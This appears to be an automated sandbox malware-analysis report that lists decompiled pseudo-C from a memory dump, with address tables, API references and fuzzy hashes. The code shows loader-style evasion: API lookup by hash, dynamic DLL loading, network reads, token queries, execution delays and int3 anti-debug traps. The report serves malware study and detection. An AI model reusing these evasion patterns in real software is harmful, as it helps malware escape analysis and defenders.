											goto L44;
										}
									} else {
										_t212 = LdrLoadDll(0, 0, E6E679640(_t426 + 0x284, 0), _t426 + 0x2dc); // executed
										if( *(_t426 + 0x2dc) == 0 || _t212 != 0) {
											L35:
											E6E679510(_t426 + 0x280);
											E6E668CA0(_t426 + 0x2b4);
											E6E668CA0(_t426 + 0x2e0);
											E6E668CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t390 =  *_t426;
												if(_t390 == 0 || _t390 == 0xffffffff) {
													_t197 = 1;
												} else {
													_t197 = 0;
												}
												if(_t197 == 0) {
													E6E67CE70(_t390);
												}
											}
											 *_t426 = 0;
											E6E668CA0(_t426 + 0x2cc);
											E6E668CA0(_t426 + 0x2c4);
											return 0;
										} else {
											L44:
											E6E679510(_t426 + 0x280);
											E6E668CA0(_t426 + 0x2b4);
											E6E668CA0(_t426 + 0x2e0);
											E6E668CA0(_t426 + 0x10);
											if( *(_t426 + 4) != 0) {
												_t391 =  *_t426;
												if(_t391 == 0 || _t391 == 0xffffffff) {
													_t206 = 1;
												} else {
													_t206 = 0;
												}
												if(_t206 == 0) {
													E6E67CE70(_t391);
												}
											}
											 *_t426 = 0;
											E6E668CA0(_t426 + 0x2cc);
											E6E668CA0(_t426 + 0x2c4);
											return 1;
										}
									}
								} else {
									goto L29;
								}
								goto L106;
								L28:
								asm("o16 nop [eax+eax]");
								_t67 = _t389 + 0x180; // 0xf28e68
								_t389 =  *_t67;
							} while (_t389 != 0);
							goto L29;
						}
					}
				}
				goto L106;
			}

0x6e666c5a
0x6e666c65
0x6e666c73
0x6e666c7a
0x6e666c7f
0x6e666c89
0x6e66735c
0x6e6674c4
0x6e6674ce
0x6e6674d0
0x6e6674d5
0x6e667551
0x6e6674d7
0x6e6674d9
0x6e6674dd
0x6e6674e0
0x6e6674e3
0x6e6674ea
0x6e6674ed
0x6e6674f4
0x6e6674f7
0x6e6674fe
0x6e667501
0x6e667508
0x6e66750b
0x6e667512
0x6e667515
0x6e66751c
0x6e66751f
0x6e667526
0x6e667529
0x6e667530
0x6e667533
0x6e667538
0x6e66753d
0x6e66753d
0x6e667540
0x6e667544
0x6e667549
0x6e66754c
0x6e66754c
0x6e66754f
0x6e667553
0x6e667553
0x6e66736e
0x6e667380
0x6e667385
0x6e667391
0x6e6674b5
0x00000000
0x6e667397
0x6e667399
0x6e6673c8
0x6e6673cd
0x6e6673d3
0x6e6673d7
0x6e66748c
0x6e667497
0x6e66749d
0x6e66749d
0x6e66748c
0x6e6673df
0x6e6673e8
0x6e6673f0
0x00000000
0x6e6673f0
0x6e66739b
0x6e66739d
0x6e66739d
0x6e66739f
0x6e6673a1
0x6e6673af
0x6e6673b0
0x6e6673b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6673b6
0x6e6674a4
0x6e6674aa
0x6e6673f2
0x6e6673f4
0x6e667407
0x6e667407
0x6e6674b0
0x00000000
0x6e6674b0
0x00000000
0x6e6673b8
0x6e6673b8
0x6e6673be
0x6e6673be
0x6e6673c4
0x00000000
0x6e66739d
0x6e667399
0x6e667409
0x6e66741b
0x6e667426
0x6e667426
0x6e66742b
0x6e66743b
0x6e667447
0x6e667447
0x6e66744c
0x6e66745c
0x6e66746f
0x6e667474
0x6e666c8f
0x6e666c95
0x6e6672bc
0x6e6672c6
0x6e6672c8
0x6e6672cd
0x6e667349
0x6e6672cf
0x6e6672d1
0x6e6672d5
0x6e6672d8
0x6e6672db
0x6e6672e2
0x6e6672e5
0x6e6672ec
0x6e6672ef
0x6e6672f6
0x6e6672f9
0x6e667300
0x6e667303
0x6e66730a
0x6e66730d
0x6e667314
0x6e667317
0x6e66731e
0x6e667321
0x6e667328
0x6e66732b
0x6e667330
0x6e667335
0x6e667335
0x6e667338
0x6e66733c
0x6e667341
0x6e667344
0x6e667344
0x6e667347
0x6e66734b
0x6e66734b
0x6e666ca7
0x6e666cb9
0x6e666cbe
0x6e666cca
0x6e6672ad
0x00000000
0x6e666cd0
0x6e666cd2
0x6e666d01
0x6e666d06
0x6e666d0c
0x6e666d10
0x6e667284
0x6e66728f
0x6e667295
0x6e667295
0x6e667284
0x6e666d18
0x6e666d21
0x6e666d29
0x00000000
0x6e666d29
0x6e666cd4
0x6e666cd6
0x6e666cd6
0x6e666cd8
0x6e666cda
0x6e666ce8
0x6e666ce9
0x6e666cef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e666cef
0x6e66729c
0x6e6672a2
0x6e666d2b
0x6e666d2d
0x6e666d40
0x6e666d40
0x00000000
0x6e6672a8
0x00000000
0x6e6672a8
0x00000000
0x6e666cf1
0x6e666cf1
0x6e666cf7
0x6e666cf7
0x6e666cfd
0x00000000
0x6e666cd6
0x6e666cd2
0x6e666d42
0x6e666d54
0x6e666d5f
0x6e666d5f
0x6e666d64
0x6e666d74
0x6e666d80
0x6e666d80
0x6e666d85
0x6e666d95
0x6e666da8
0x6e666dad
0x6e666dad
0x6e666db4
0x6e666dc9
0x6e666ddc
0x6e666de1
0x6e666df1
0x6e666dfb
0x6e666e09
0x6e666e20
0x6e666e27
0x6e666e2e
0x6e666e35
0x6e666e3c
0x6e666e47
0x6e666e57
0x6e666e6a
0x6e666e6b
0x6e666e70
0x6e666e72
0x6e666e77
0x6e666e7c
0x6e666e88
0x6e666e98
0x6e666ea4
0x6e666eab
0x6e666eae
0x6e666eb3
0x6e666eb7
0x6e666ecb
0x6e666ed0
0x6e666edd
0x6e6671d9
0x6e6671dd
0x6e6671e7
0x6e6671e9
0x6e6671ee
0x6e6671f9
0x6e6671f5
0x6e6671f5
0x6e6671f5
0x6e667200
0x6e667203
0x6e667203
0x6e667200
0x6e667208
0x6e667216
0x6e667222
0x6e667233
0x6e666ee3
0x6e666ee3
0x6e666ee9
0x6e666eed
0x6e666ef4
0x6e666efe
0x6e666f0b
0x6e666f1e
0x6e666f3a
0x6e666f48
0x6e666f4f
0x00000000
0x00000000
0x6e6671b8
0x6e6671c4
0x6e6671d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6671d3
0x6e666f57
0x6e666f6b
0x6e666f80
0x6e666f85
0x6e666f9c
0x6e666fa4
0x6e666fb7
0x6e666fc2
0x6e666fd5
0x6e666fdd
0x6e666fe3
0x6e666feb
0x6e666fef
0x6e666ff4
0x6e666ffa
0x6e66700b
0x6e667269
0x00000000
0x6e667011
0x6e667013
0x6e667042
0x6e667047
0x6e66704d
0x6e667051
0x6e667240
0x6e66724b
0x6e667251
0x6e667251
0x6e667240
0x6e667059
0x00000000
0x6e66705f
0x6e667066
0x6e66706e
0x00000000
0x6e66706e
0x6e667015
0x6e667017
0x6e667017
0x6e667019
0x6e66701b
0x6e667029
0x6e66702a
0x6e667030
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e667030
0x6e667258
0x6e66725e
0x6e667070
0x6e667072
0x6e667126
0x6e66712e
0x00000000
0x00000000
0x00000000
0x00000000
0x6e667078
0x6e667093
0x6e66709d
0x6e6670a7
0x6e6670ae
0x6e6670ba
0x6e6670c6
0x6e6670cf
0x6e6670d9
0x6e6670db
0x6e6670e0
0x6e6670eb
0x6e6670e7
0x6e6670e7
0x6e6670e7
0x6e6670f2
0x6e6670f5
0x6e6670f5
0x6e6670f2
0x6e6670fa
0x6e667108
0x6e667114
0x6e667125
0x6e667134
0x6e667134
0x6e66713b
0x6e667147
0x6e667153
0x6e66715c
0x6e667166
0x6e667168
0x6e66716d
0x6e667178
0x6e667174
0x6e667174
0x6e667174
0x6e66717f
0x6e667182
0x6e667182
0x6e66717f
0x6e667187
0x6e667195
0x6e6671a1
0x6e6671b5
0x6e6671b5
0x6e66709d
0x6e667264
0x00000000
0x6e667264
0x00000000
0x6e667032
0x6e667032
0x6e667038
0x6e667038
0x6e66703e
0x00000000
0x6e667017
0x6e667013
0x6e66700b
0x00000000

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000000,?,00000000), ref: 6E667093

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: a5c46b254efb712b6db3cbb59038e3a3de46f9a09d046d035cfecaad3202d8c8
Instruction ID: 44cab2ba8f25de51bff3a59503b964506bc9de238f7299fdf2e01a3aee782401
Opcode Fuzzy Hash: a5c46b254efb712b6db3cbb59038e3a3de46f9a09d046d035cfecaad3202d8c8
Instruction Fuzzy Hash: 9D22B2302383429BDB64DBF4CC64BEE73A8AF92308F50492D9495962E1EF71A905C797

Uniqueness

Uniqueness Score: -1.00%

Function 6E6839F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6E6839F9(void* __eax, signed int __ebx, void* __edi) {
				long _t42;
				void* _t60;
				long _t63;
				long _t64;
				void* _t79;
				void* _t81;
				signed int _t86;
				void* _t124;
				void* _t128;
				void* _t133;
				long* _t134;
				void* _t139;

				_t124 = __edi;
				_t86 = __ebx;
				if(__eax == 0) {
					_t42 = E6E667F00();
					__eflags = _t42;
					if(_t42 != 0) {
						 *_t134 = _t42;
						E6E668CA0(_t139 + 0x34);
						E6E668CA0(_t139 + 0x44);
						goto L14;
					} else {
						goto L1;
					}
				} else {
					L1:
					E6E6683B0(_t139 + 0x2c);
					E6E670B30(_t139 + 0x40,  *((intOrPtr*)(_t139 + 0x34)),  *((intOrPtr*)(_t139 + 0x2c)));
					E6E670B10(_t139 + 0x2c);
					_t130 = _t139;
					E6E6750A0(_t139 + 0x44, _t139, 0x6e689424);
					E6E673B00(_t86, _t130);
					E6E677560(_t130, _t124, _t130);
					 *((char*)( *((intOrPtr*)(E6E677600(_t86, 0))))) = 0;
					_t143 = _t134[0xa] - 1;
					if(_t134[0xa] > 1) {
						 *(_t139 + 0xc) = _t134;
						_t128 = 1;
						_t133 = _t139 + 0x54;
						while(1) {
							_t79 = E6E677600(_t86, _t128);
							_push(1);
							_push(0x6e68a9e0);
							E6E661BA0(_t143, _t133);
							_t81 = E6E670ED0(_t79, _t128,  *((intOrPtr*)(_t139 + 0x54)));
							E6E670B10(_t133);
							if(_t81 != 0) {
								break;
							}
							_t128 = _t128 + 1;
							if(_t128 <  *_t86) {
								continue;
							} else {
								_t134 =  *(_t139 + 0xc);
							}
							goto L6;
						}
						_t134 =  *(_t139 + 0xc);
						 *((char*)( *((intOrPtr*)(E6E677600(_t86, _t128))))) = 0;
					}
					L6:
					E6E673EC0(_t86);
					_push(0);
					E6E679350(_t139 + 0x10);
					_push(0x2800);
					E6E679350(_t139 + 0x20);
					while(1) {
						 *(_t139 + 0x5c) = 0;
						if(E6E6615C0(0xd27f045a, 0x547ac48e) == 0) {
							break;
						}
						_t60 = E6E679640(_t139 + 0x20, 0);
						_t63 = InternetReadFile(_t134[4], _t60, E6E679650(_t139 + 0x1c), _t139 + 0x5c); // executed
						__eflags = _t63;
						if(_t63 == 0) {
							_t64 = E6E667F00();
							__eflags = _t64;
							if(_t64 != 0) {
								L9:
								 *_t134 = _t64;
								E6E679510(_t139 + 0x1c);
								E6E679510(_t139 + 0xc);
								E6E668CA0(_t139 + 0x34);
								E6E668CA0(_t139 + 0x44);
								L14:
								E6E670B10(_t139 + 0x3c);
								_push(0);
								E6E679350( *((intOrPtr*)(_t139 + 0x78)));
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								goto L11;
							}
						} else {
							L11:
							__eflags =  *(_t139 + 0x5c);
							if( *(_t139 + 0x5c) == 0) {
								_push(_t139 + 0xc);
								E6E6793D0( *((intOrPtr*)(_t139 + 0x78)));
								E6E679510(_t139 + 0x1c);
								E6E679510(_t139 + 0xc);
								E6E668CA0(_t139 + 0x34);
								E6E668CA0(_t139 + 0x44);
								E6E670B10(_t139 + 0x3c);
								return  *((intOrPtr*)(_t139 + 0x74));
							} else {
								E6E679710(_t139 + 0x14, E6E679640(_t139 + 0x20, 0),  *(_t139 + 0x5c));
								continue;
							}
						}
						goto L22;
					}
					_t64 = 0x7f;
					goto L9;
				}
				L22:
			}

0x6e6839f9
0x6e6839f9
0x6e6839fb
0x6e683c44
0x6e683c49
0x6e683c4b
0x6e683b6d
0x6e683b74
0x6e683b7d
0x00000000
0x6e683c51
0x00000000
0x6e683c51
0x6e683a01
0x6e683a01
0x6e683a09
0x6e683a16
0x6e683a1f
0x6e683a24
0x6e683a31
0x6e683a39
0x6e683a40
0x6e683a50
0x6e683a53
0x6e683a57
0x6e683a59
0x6e683a5d
0x6e683a62
0x6e683a66
0x6e683a69
0x6e683a70
0x6e683a72
0x6e683a78
0x6e683a83
0x6e683a8c
0x6e683a95
0x00000000
0x00000000
0x6e683a9b
0x6e683a9e
0x00000000
0x6e683aa0
0x6e683aa0
0x6e683aa0
0x00000000
0x6e683a9e
0x6e683c30
0x6e683c3c
0x6e683c3c
0x6e683aa4
0x6e683aa6
0x6e683aab
0x6e683ab1
0x6e683ab6
0x6e683abf
0x6e683ac4
0x6e683ac4
0x6e683adf
0x00000000
0x00000000
0x6e683b1b
0x6e683b35
0x6e683b37
0x6e683b39
0x6e683c1c
0x6e683c21
0x6e683c23
0x6e683ae6
0x6e683ae6
0x6e683aed
0x6e683af6
0x6e683aff
0x6e683b08
0x6e683bb1
0x6e683bb5
0x6e683bba
0x6e683bc0
0x6e683bd0
0x6e683c29
0x00000000
0x6e683c29
0x6e683b3f
0x6e683b3f
0x6e683b3f
0x6e683b44
0x6e683bd7
0x6e683bdc
0x6e683be5
0x6e683bee
0x6e683bf7
0x6e683c00
0x6e683c09
0x6e683c19
0x6e683b4a
0x6e683b5e
0x00000000
0x6e683b5e
0x6e683b44
0x00000000
0x6e683b39
0x6e683ae1
0x00000000
0x6e683ae1
0x00000000

APIs

InternetReadFile.WININET(?,00000000,00000000,00000000,00000000,D27F045A,547AC48E), ref: 6E683B35

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: ca3d6cb8b4fac7b58ef6b58e5964aeddd8f08aa3fac87f0b7828204d905f2383
Instruction ID: d490045d1e84b23eb31742718e48a37e324f9dd58e76f7b58981a22f5f7c6050
Opcode Fuzzy Hash: ca3d6cb8b4fac7b58ef6b58e5964aeddd8f08aa3fac87f0b7828204d905f2383
Instruction Fuzzy Hash: 87516F312682049FDB14EFA4CC60AEFB3A8EF91748F504C2DE555471A0EF31A909CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 6E6622A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6E6622A0(void* __ecx, intOrPtr __edx) {
				intOrPtr* _v8;
				intOrPtr _v24;
				intOrPtr* _t10;
				void* _t13;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr* _t22;
				intOrPtr* _t23;
				intOrPtr* _t24;

				_t19 = __edx;
				_t24 =  &_v8;
				if(__ecx == 0) {
					 *_t24 = 0;
					_v8 = 0;
				} else {
					 *_t24 = E6E661230(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v24 = _t19;
				}
				_t20 =  *0x6e68b1f4; // 0xf21340
				if(_t20 == 0xc139578) {
					 *0x6e68b1f4 = 0;
					_t20 = 0;
				}
				if(_t20 == 0) {
					L10:
					_push(0x588ab3ea);
					_t10 = E6E667564(0x588ab3ea);
					_t23 = _t10;
					if(_t23 == 0) {
						_t10 = E6E666C50(0x588ab3ea);
						if(_t10 != 0) {
							_push(0x588ab3ea);
							_t10 = E6E667564(0x588ab3ea);
							_t23 = _t10;
						}
					}
					if(_t23 == 0) {
						goto L15;
					} else {
						_t24 = _t24 + 0xfffffff8;
						_t10 = E6E6667C8(_t23, 0xcd123e03);
						_t22 = _t10;
						goto L13;
					}
				} else {
					do {
						_t18 = 0;
						_t10 = 0;
						while( *((intOrPtr*)(_t10 + _t20 + 8)) != 0xcd123e03) {
							_t18 = _t18 + 1;
							_t10 = _t10 + 0x18;
							if(_t18 < 0x10) {
								continue;
							}
							goto L9;
						}
						_t22 =  *((intOrPtr*)(_t10 + _t20 + 0x14));
						if(_t22 != 0) {
							L13:
							if(_t22 == 0) {
								L15:
								return _t10;
							}
							_t13 =  *_t22(0, _t24); // executed
							return _t13;
						}
						goto L10;
						L9:
						asm("o16 nop [eax+eax]");
						_t5 = _t20 + 0x180; // 0xf28e68
						_t20 =  *_t5;
					} while (_t20 != 0);
					goto L10;
				}
			}

0x6e6622a0
0x6e6622a1
0x6e6622a6
0x6e6622c2
0x6e6622c5
0x6e6622a8
0x6e6622b7
0x6e6622ba
0x6e6622ba
0x6e6622c9
0x6e6622d5
0x6e6622d7
0x6e6622e1
0x6e6622e1
0x6e6622e5
0x6e66230e
0x6e662313
0x6e662314
0x6e662319
0x6e66231d
0x6e66234a
0x6e662351
0x6e662358
0x6e662359
0x6e66235e
0x6e66235e
0x6e662351
0x6e662321
0x00000000
0x6e662323
0x6e66232a
0x6e66232d
0x6e662332
0x00000000
0x6e662332
0x6e6622e7
0x6e6622e7
0x6e6622e7
0x6e6622e9
0x6e6622eb
0x6e6622f5
0x6e6622f6
0x6e6622fc
0x00000000
0x00000000
0x00000000
0x6e6622fc
0x6e662362
0x6e662368
0x6e662334
0x6e662336
0x6e662344
0x6e662344
0x6e662344
0x6e66233e
0x00000000
0x6e66233e
0x00000000
0x6e6622fe
0x6e6622fe
0x6e662304
0x6e662304
0x6e66230a
0x00000000
0x6e6622e7

APIs

NtDelayExecution.NTDLL(00000000,00000000), ref: 6E66233E

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: d101241ea4648ad1b44336771594e6e070d633593eb2d91289aec4ec47f079af
Instruction ID: 7d965a50d8e704e00715ca2b0f55a83a0734b207ceff5789267b2ebff8210a4b
Opcode Fuzzy Hash: d101241ea4648ad1b44336771594e6e070d633593eb2d91289aec4ec47f079af
Instruction Fuzzy Hash: 66112630B386034BD78896F95850B5A33DAAF92718F15C66CC855EB2A8EB30C84083A7

Uniqueness

Uniqueness Score: -1.00%

Function 6E667A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6E667A60(intOrPtr* __ecx) {
				void* _t1;

				_push(E6E667D40);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x6e667a60
0x6e667a65
0x6e667a67
0x6e667a69

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,6E667D40,6E667A11,588AB3EA,?,?,6E655168,00000001), ref: 6E667A67

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 5fa9b3ad9dd029ab617d0aa28b4bc356d31026efafd9b88ecc8bc085e835fefc
Instruction ID: 17cfb85cdf69a687deb3dc8448af66afa6fc3316f48a67c16ea0523cf1abc2a8
Opcode Fuzzy Hash: 5fa9b3ad9dd029ab617d0aa28b4bc356d31026efafd9b88ecc8bc085e835fefc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6E6667C8, Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b8af50c11c931f54161d7571418cc26334abaf731db51a19a99fbfa7db6500
Instruction ID: 0a581a7d4263851f299acecc65346b0fab4cdc7d397143077c7bf54ab96768b6
Opcode Fuzzy Hash: 97b8af50c11c931f54161d7571418cc26334abaf731db51a19a99fbfa7db6500
Instruction Fuzzy Hash: 25C1C1706783469FD7A0DFA6E49079E77E4BB82308F10C52DC8988B345EB719945CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6E6647B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6E6647B0(void* __ebx, intOrPtr __edi, intOrPtr __esi) {
				void* _t93;
				long _t99;
				void* _t109;
				int _t112;
				intOrPtr _t118;
				char _t133;
				intOrPtr _t141;
				void* _t144;
				void* _t149;
				intOrPtr _t150;
				intOrPtr _t155;
				void* _t158;
				void* _t161;
				intOrPtr _t163;
				void* _t166;
				void* _t169;
				int _t174;
				intOrPtr _t179;
				void* _t182;
				void* _t185;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t203;
				intOrPtr* _t205;
				void* _t206;
				long _t207;
				void* _t209;
				void* _t213;
				void* _t214;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t242;
				void* _t243;
				void* _t245;
				long _t246;
				intOrPtr* _t248;
				long _t249;
				long _t250;
				long _t253;
				long _t255;
				long _t258;
				long _t259;
				long _t261;
				intOrPtr _t266;
				long _t267;
				intOrPtr _t270;
				intOrPtr _t272;
				intOrPtr* _t273;
				intOrPtr _t277;
				intOrPtr* _t278;
				void* _t281;
				signed int _t283;
				void* _t284;
				void* _t285;

				_t272 = __esi;
				_t270 = __edi;
				_t285 = _t284 - 0x38;
				_t246 =  *0x6e68b1f4; // 0xf21340
				 *(_t285 + 0x34) = 0;
				if(_t246 == 0xc139578) {
					 *0x6e68b1f4 = 0;
					goto L6;
				} else {
					if(_t246 == 0) {
						L6:
						_push(0x3ab94787);
						_t196 = E6E667564(0x3ab94787);
						if(_t196 == 0) {
							if(E6E666C50(0x3ab94787) != 0) {
								_push(0x3ab94787);
								_t196 = E6E667564(0x3ab94787);
							}
						}
						if(_t196 == 0) {
							goto L25;
						} else {
							_t285 = _t285 + 0xfffffff8;
							_t248 = E6E6667C8(_t196, 0xc17c5a6e);
							goto L9;
						}
					} else {
						do {
							_t245 = 0;
							_t194 = 0;
							while( *((intOrPtr*)(_t194 + _t246 + 8)) != 0xc17c5a6e) {
								_t245 = _t245 + 1;
								_t194 = _t194 + 0x18;
								if(_t245 < 0x10) {
									continue;
								} else {
									goto L5;
								}
								goto L186;
							}
							_t248 =  *((intOrPtr*)(_t194 + _t246 + 0x14));
							if(_t248 != 0) {
								L9:
								if(_t248 == 0) {
									L25:
									return 0;
								} else {
									_push(_t285 + 0x34);
									_push(8);
									_push(0xffffffff);
									if( *_t248() == 0) {
										_t93 = E6E667BF0(0xea5f6acc, _t272, 0xea5f6acc);
										if(_t93 != 0) {
											L174:
											if(_t93 == 0) {
												goto L178;
											} else {
												asm("int3");
												return _t93;
											}
										} else {
											_push(0xa1310f65);
											_t214 = E6E667564(0xa1310f65);
											if(_t214 == 0) {
												if(E6E666C50(0xa1310f65) != 0) {
													_push(0xa1310f65);
													_t214 = E6E667564(0xa1310f65);
												}
											}
											if(_t214 == 0) {
												L178:
												if(0 != 0) {
													goto L25;
												} else {
													goto L11;
												}
											} else {
												_t285 = _t285 + 0xfffffff8;
												_t93 = E6E6667C8(_t214, 0xea5f6acc);
												goto L174;
											}
										}
									} else {
										L11:
										_t249 =  *0x6e68b1f4; // 0xf21340
										 *(_t285 + 0x28) =  *(_t285 + 0x34);
										 *((char*)(_t285 + 0x2c)) = 1;
										 *(_t285 + 0x30) = 0;
										if(_t249 == 0xc139578) {
											 *0x6e68b1f4 = 0;
											goto L17;
										} else {
											if(_t249 == 0) {
												L17:
												_push(0x3ab94787);
												_t198 = E6E667564(0x3ab94787);
												if(_t198 == 0) {
													if(E6E666C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t198 = E6E667564(0x3ab94787);
													}
												}
												if(_t198 == 0) {
													goto L22;
												} else {
													_t285 = _t285 + 0xfffffff8;
													_t266 = E6E6667C8(_t198, 0x2eeff4c6);
													goto L20;
												}
											} else {
												do {
													_t243 = 0;
													_t185 = 0;
													while( *((intOrPtr*)(_t185 + _t249 + 8)) != 0x2eeff4c6) {
														_t243 = _t243 + 1;
														_t185 = _t185 + 0x18;
														if(_t243 < 0x10) {
															continue;
														} else {
															goto L16;
														}
														goto L186;
													}
													_t266 =  *((intOrPtr*)(_t185 + _t249 + 0x14));
													if(_t266 != 0) {
														L20:
														if(_t266 == 0) {
															L22:
															_t99 =  *(_t285 + 0x30);
															if(_t99 != 0) {
																_push(_t99);
																E6E679350(_t285 + 4);
																_t250 =  *0x6e68b1f4; // 0xf21340
																if(_t250 == 0xc139578) {
																	 *0x6e68b1f4 = 0;
																	goto L32;
																} else {
																	if(_t250 == 0) {
																		L32:
																		_push(0x3ab94787);
																		_t199 = E6E667564(0x3ab94787);
																		if(_t199 == 0) {
																			if(E6E666C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t199 = E6E667564(0x3ab94787);
																			}
																		}
																		if(_t199 == 0) {
																			goto L36;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t277 = E6E6667C8(_t199, 0x2eeff4c6);
																			goto L35;
																		}
																	} else {
																		do {
																			_t239 = 0;
																			_t169 = 0;
																			while( *((intOrPtr*)(_t169 + _t250 + 8)) != 0x2eeff4c6) {
																				_t239 = _t239 + 1;
																				_t169 = _t169 + 0x18;
																				if(_t239 < 0x10) {
																					continue;
																				} else {
																					goto L31;
																				}
																				goto L186;
																			}
																			_t277 =  *((intOrPtr*)(_t169 + _t250 + 0x14));
																			if(_t277 != 0) {
																				L35:
																				if(_t277 != 0) {
																					_t109 = E6E679640(_t285 + 4, 0);
																					_t112 = GetTokenInformation( *(_t285 + 0x44), 2, _t109, E6E679650(_t285), _t285 + 0x30); // executed
																					if(_t112 == 0) {
																						_t253 =  *0x6e68b1f4; // 0xf21340
																						if(_t253 == 0xc139578) {
																							 *0x6e68b1f4 = 0;
																							goto L131;
																						} else {
																							if(_t253 == 0) {
																								L131:
																								_push(0xa1310f65);
																								_t202 = E6E667564(0xa1310f65);
																								if(_t202 == 0) {
																									if(E6E666C50(0xa1310f65) != 0) {
																										_push(0xa1310f65);
																										_t202 = E6E667564(0xa1310f65);
																									}
																								}
																								if(_t202 == 0) {
																									goto L138;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t163 = E6E6667C8(_t202, 0xea5f6acc);
																									goto L134;
																								}
																							} else {
																								do {
																									_t238 = 0;
																									_t166 = 0;
																									while( *((intOrPtr*)(_t166 + _t253 + 8)) != 0xea5f6acc) {
																										_t238 = _t238 + 1;
																										_t166 = _t166 + 0x18;
																										if(_t238 < 0x10) {
																											continue;
																										} else {
																											goto L130;
																										}
																										goto L186;
																									}
																									_t163 =  *((intOrPtr*)(_t166 + _t253 + 0x14));
																									if(_t163 != 0) {
																										L134:
																										if(_t163 == 0) {
																											L138:
																											if(0 != 0) {
																												goto L36;
																											} else {
																												goto L40;
																											}
																										} else {
																											asm("int3");
																											return _t163;
																										}
																									} else {
																										goto L131;
																									}
																									goto L186;
																									L130:
																									asm("o16 nop [eax+eax]");
																									_t70 = _t253 + 0x180; // 0xf28e68
																									_t253 =  *_t70;
																								} while (_t253 != 0);
																								goto L131;
																							}
																						}
																					} else {
																						L40:
																						_t278 = E6E679640(_t285 + 4, 0);
																						_t118 =  *0x6e68a148; // 0x0
																						 *((short*)(_t285 + 0x14)) =  *0x6e68a14c & 0x0000ffff;
																						_t255 =  *0x6e68b1f4; // 0xf21340
																						 *(_t285 + 0x24) = 0;
																						 *((intOrPtr*)(_t285 + 0x10)) = _t118;
																						if(_t255 == 0xc139578) {
																							 *0x6e68b1f4 = 0;
																							goto L46;
																						} else {
																							if(_t255 == 0) {
																								L46:
																								_push(0x3ab94787);
																								_t203 = E6E667564(0x3ab94787);
																								if(_t203 == 0) {
																									if(E6E666C50(0x3ab94787) != 0) {
																										_push(0x3ab94787);
																										_t203 = E6E667564(0x3ab94787);
																									}
																								}
																								if(_t203 == 0) {
																									goto L87;
																								} else {
